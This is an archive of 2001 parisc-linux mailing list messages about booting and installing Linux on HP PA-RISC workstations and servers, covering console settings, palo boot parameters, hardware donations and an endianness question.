National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K580
Date: Mon, 12 Nov 2001 21:58:10 -0500
Lines: 72
Approved: news@gmane.org
Message-ID: <003401c16bef$081c1b20$0101a8c0@pogo>
References: <3BEF3746.FB93DC1@beldar.com> <20011112070306.B14600@alpha.of.nowhere> <004401c16bd7$33ae82e0$0101a8c0@pogo> <20011112185954.A15743@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620741 29814 80.91.229.3 (22 Nov 2014 01:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:41 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 19:47:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8636482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 19:47:50 -0700 (MST)
Original-Received: from pogo (dhcp-132.beldar.com [65.163.106.132])
	by beldar.com (8.9.3/8.9.3) with SMTP id WAA84674;
	Mon, 12 Nov 2001 22:03:17 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13010

The offer for the K580s was only half-serious.  I have 4 and have found a
home for 1 at another site where it won't have to be seen with any AS-400's
or RS-6000's.  I should be done with the other 3 next Summer if all goes
well.  If the company intends to throw them away I'll rescue them, the
AutoRaids, Jamaicas, etc. and see who wants them.  Since Leibert doesn't
contain the letters H or P, they may stay so you'd have to get your own UPS.
However, these K's may be "good enough" to find another home or get sold on
the used market, not like a lowly J :-(  I figure I'm doing good with a J in
the garage, I'm not sure the other half would be impressed with a K in a
2-meter cabinet, but the electric company might be :-)

BTW, at Jurriaan's suggestion I tried setting the console to ttyS0 and also
tried setting sti=1 and still no luck.  As I mentioned above, the J is in
the garage far away from my other boxes so I have no network option at this
point.  CD is my only hope for a while.  So far, this is almost as much fun
as my first i386 dual-boot install :-)

----- Original Message -----
From: Ryan Bradetich <rbradetich@uswest.net>
To: Craig D. Lansing <lansing@beldar.com>
Sent: Monday, November 12, 2001 8:59 PM
Subject: Re: [parisc-linux] K580


> On Mon, Nov 12, 2001 at 07:07:35PM -0500, Craig D. Lansing wrote:
> > Today, I rescued a 700/96 and cable from the trash so I'm going to try
to
> > use it as a serial console to see how far I get.  It's amazing the
"junk"
> > that shows up in the trash when your HP shop gets bought out by an IBM
shop.
>
> > Anybody need a few K580x4's, 4GB RAM, and a couple of fully loaded
AutoRaid
> > cabinets each?  In the meantime, how do I change the "Command Line" at
boot?
> > Do I have to "interact" with IPL (almost as bad as having to interact
with
>
> Craig,
>
> I am doing the initial port of parisc-linux to the K-series ... I have a
K460,
> but the K570/K580 series have 1 additional feature that I am interested in
as
> maintainer of the ccio driver.... it has the ability to swap out 2
processors
> for an additional U2 chip (ccio driver).  Are you serious about donating a
> K580?  I would gladly pay shipping for one of these machines (the autoraid
> would also be nice since I do not have 1 to play with).   This is coming
out
> of my personal pocket but if you are serious about the offer, I am serious
> about getting the port working on the K-class machines, and maybe we can
> work something out.
>
> Otherwise, I'll just keep working on the K-460 until a good deal for a
K-580
> comes along.
>
> Thanks!   (I'd keep one of those K boxes for yourself, right now the K
works,
> but it is not very pretty at the moment.  I am currently writing a console
> driver for it so it looks more like a normal linux box, but once the box
boots,
> you can ssh into the system (no console driver yet) and use it pretty
happily:))
>
> - Ryan
>




From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting with the STI console in a 715/75
Date: Mon, 12 Nov 2001 22:43:46 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <3BF096F2.8010409@verizon.net>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620741 29818 80.91.229.3 (22 Nov 2014 01:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 20:42:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp010pub.verizon.net (unknown [206.46.170.189])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA69F482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 20:42:12 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-224-254.pitt.east.verizon.net [151.201.224.254])
	by smtp010pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id fAD3gr800679
	Mon, 12 Nov 2001 21:42:53 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13011

This is another bug report on my test machine.

I compiled 2.4.9-pa79 using "make oldconfig", set the machine to use the 
STI console and booted the system.

I can see the kernel boot messages and get a login prompt, but the 
keyboard does not work, since what I type does not appear.

This is a keyboard that whose cable connects directly to the computer 
and has a connector for the mouse.

P.S. I see similar bahavior with 2.4.14, but from previous responses, 
the code merge is not complete yet and the console code is affected.

By the way what is the correct inittab entry, palo figures the parameter 
"console=tty0", but there is no entry for tty0 in inittab.

-- 
      Rafael




From - Thu Nov 08 21:20:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?koi8-r?B?UGV0ZXIgS29s02hhbm92?= <pk@nikom.tagil.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems of instaling (booting) on a 715/75
Date: Tue, 13 Nov 2001 10:49:44 +0500
Organization: 1
Lines: 56
Approved: news@gmane.org
Message-ID: <2451.011113@nikom.tagil.ru>
Reply-To: Peter Kolchanov <pk@nikom.tagil.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620742 29822 80.91.229.3 (22 Nov 2014 01:45:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 22:49:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nikom.tagil.ru (nikom.tagil.ru [195.151.0.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 700A1482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 22:48:56 -0700 (MST)
Original-Received: from pk.nikom.ru (localhost.localdomain [127.0.0.1])
	by nikom.tagil.ru (8.9.3/8.9.3) with ESMTP id KAA04138
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 10:48:54 +0500
X-Mailer: The Bat! (v1.41)
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13012

Hello,

I have 9000/715/75.

1. I am instaling from CD (palinux-0.9.2.iso) I have this massage.
After my copm hang-up.

.........
Trying scsi.2.0
Boot path initialized
Attempting to load IPL

Hard booted.
palo ipl 0.92 oot@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x6ad6800
0/vmlinux64 3585851 bytes @ 0x6a8f800
0/ramdisk 1991209 bytes @ 0x70fb000

Command line: 'root=/dev/ram console=tty0 sti=0 sti_font=VGA8x16 TERM=linux

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance: Firmware
does not support PDC_MODEl_CAPABILITIES call
32
ELF32 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 1606948 mediaptr 0x1000
Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
loading ramdisk 1991209 bytes @ 03e090000...
branching to kernel entry point 0x00100000
........


2. If I instaling from CD serial ver. (palinux-0.9-32serial.iso) then
I have this message:

.........
Trying scsi.2.0
Boot path initialized
Attempting to load IPL

IPL error: bad IPL checksum.
.....

Is this mortally?

-- 
Best regards,
 Peter                          mailto:pk@nikom.tagil.ru





From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jurriaan on Alpha <thunder7@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K580
Date: Tue, 13 Nov 2001 07:04:48 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20011113070448.A3532@alpha.of.nowhere>
References: <3BEF3746.FB93DC1@beldar.com> <20011112070306.B14600@alpha.of.nowhere> <004401c16bd7$33ae82e0$0101a8c0@pogo> <20011112185954.A15743@beavis.ybsoft.com> <003401c16bef$081c1b20$0101a8c0@pogo>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620742 29824 80.91.229.3 (22 Nov 2014 01:45:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 12 23:05:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E73E482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Nov 2001 23:05:17 -0700 (MST)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtpzilla1.xs4all.nl (8.12.0/8.12.0) with ESMTP id fAD653BX099824
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 07:05:08 +0100 (CET)
Original-Received: (qmail 4530 invoked from network); 13 Nov 2001 06:04:55 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 13 Nov 2001 06:04:55 -0000
Original-Received: (qmail 4156 invoked by uid 1000); 13 Nov 2001 06:04:48 -0000
Content-Disposition: inline
In-Reply-To: <003401c16bef$081c1b20$0101a8c0@pogo>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13013

On Mon, Nov 12, 2001 at 09:58:10PM -0500, Craig D. Lansing wrote:
> BTW, at Jurriaan's suggestion I tried setting the console to ttyS0 and also
> tried setting sti=1 and still no luck.  As I mentioned above, the J is in
> the garage far away from my other boxes so I have no network option at this
> point.  CD is my only hope for a while.  So far, this is almost as much fun
> as my first i386 dual-boot install :-)
> 
In that case, be sure to test both serial ports, especially at the
moment it seems to hang. I agree installing is fun!

Good luck,
Jurriaan
-- 
"They know nothing of what is to come," Iskaral Pust whispered. "An
eternal flare of pain, but shall I waste words in an effort to prepare
them? No, not at all, never. Words are too precious to be wasted, hence
my coy silence while they hesitate in a fit of immobile ignorance."
	Steven Erikson - Deadhouse Gates
GNU/Linux 2.4.13-ac8 on Debian/Alpha 64-bits 990 bogomips load:0.09 0.12 0.14



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems of instaling (booting) on a 715/75
Date: Tue, 13 Nov 2001 02:03:50 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <3BF0C5D6.2040205@verizon.net>
References: <2451.011113@nikom.tagil.ru>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620742 29825 80.91.229.3 (22 Nov 2014 01:45:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 00:02:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp008pub.verizon.net (smtp008pub.verizon.net [206.46.170.187])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A295482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 00:02:16 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-224-254.pitt.east.verizon.net [151.201.224.254])
	by smtp008pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id fAD72DD01186
	Tue, 13 Nov 2001 01:02:13 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011014
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13014

I'd suggest you boot the cd image (palinux-0.9.2.iso) using the serial 
console. I have the same system and the STI console does not work with 
that cd.

As soon as you have a minimal system running, switch the kernel image in 
/boot for this one:

	ftp://ftp.parisc-linux.org/kernels/vmlinux-32-20011008

Edit the /etc/palo.conf accordingly, re-run palo and reboot. I 
experienced scsi problems with the kernel in the cd image.
-- 
      Rafael




From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost There...
Date: Tue, 13 Nov 2001 00:40:03 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <200111130740.AAA26126@puffin.external.hp.com>
References: <lansing@beldar.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620743 29826 80.91.229.3 (22 Nov 2014 01:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 00:44:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F128482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 00:44:43 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA26126;
	Tue, 13 Nov 2001 00:40:03 -0700
In-Reply-To: Message from "Craig D. Lansing" <lansing@beldar.com> 
   of "Mon, 12 Nov 2001 19:07:35 EST." <004401c16bd7$33ae82e0$0101a8c0@pogo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13015

"Craig D. Lansing" wrote:
...
> In the meantime, how do I change the "Command Line" at boot?
> Do I have to "interact" with IPL (almost as bad as having to interact with
> people :-) ?

Yes. Adding new params is less obvious: edit any param and append ' '
plus the new param.

grant



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] to swap or not to swap
Date: Tue, 13 Nov 2001 00:30:57 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20011113003057.H391@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620743 29828 80.91.229.3 (22 Nov 2014 01:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 01:31:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1E98482C
	for <parisc-linux@parisc-linux.org>; Tue, 13 Nov 2001 01:31:04 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id tcmwiaaa for parisc-linux@parisc-linux.org; Tue, 13 Nov 2001 01:26:06 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 163Yy9-0006Gb-00; Tue, 13 Nov 2001 00:30:57 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13016

Can someone please explain this to me?

It looks like some BE architectures define {read,write}[wl] to do LE swapping 
(sparc, mipsel, ppc, etc) but others don't (s390, parisc). What is the 
"correct" behavior?

The inX/outX interfaces are all internal-swapped to LE.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240 - Almost There...
Date: Tue, 13 Nov 2001 04:03:33 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111130403050.1032-100000@ns>
References: <004401c16bd7$33ae82e0$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620743 29831 80.91.229.3 (22 Nov 2014 01:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:43 +0000 (UTC)
Cc: thunder7@xs4all.nl, parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 02:38:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A201482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 02:38:54 -0700 (MST)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id EAA18092;
	Tue, 13 Nov 2001 04:03:33 -0500
X-Sender: nick@ns
In-Reply-To: <004401c16bd7$33ae82e0$0101a8c0@pogo>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13017


On Mon, 12 Nov 2001, Craig D. Lansing wrote:

> Today, I rescued a 700/96 and cable from the trash so I'm going to try to
> use it as a serial console to see how far I get.  It's amazing the "junk"
> that shows up in the trash when your HP shop gets bought out by an IBM shop.
> Anybody need a few K580x4's, 4GB RAM, and a couple of fully loaded AutoRaid
> cabinets each?  In the meantime, how do I change the "Command Line" at boot?
> Do I have to "interact" with IPL (almost as bad as having to interact with
> people :-) ?

Heh, I'm sure almost everyone on this list would love to aquire a K580.  I
know I would!
	Nick




From - Thu Nov 08 21:20:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <toner@themail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] toner cartridges
Date: Tue, 13 Nov 2001 05:17:45
Lines: 124
Approved: news@gmane.org
Message-ID: <355.388964.389478@themail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620743 29834 80.91.229.3 (22 Nov 2014 01:45:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 13 03:18:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tedeschi2.GRANDDOMINICAN.COM (vir-251-b1.codetel.net.do [206.105.230.251])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05BFD482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Nov 2001 03:18:39 -0700 (MST)
Original-Received: from themail.com ([64.3.194.21]) by tedeschi2.GRANDDOMINICAN.COM
          (Post.Office MTA v3.1 release PO205e ID# 0-41820U100L2S100)
          with SMTP id AAT353 for <parisc-linux@lists.parisc-linux.org>;
          Tue, 13 Nov 2001 06:13:46 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
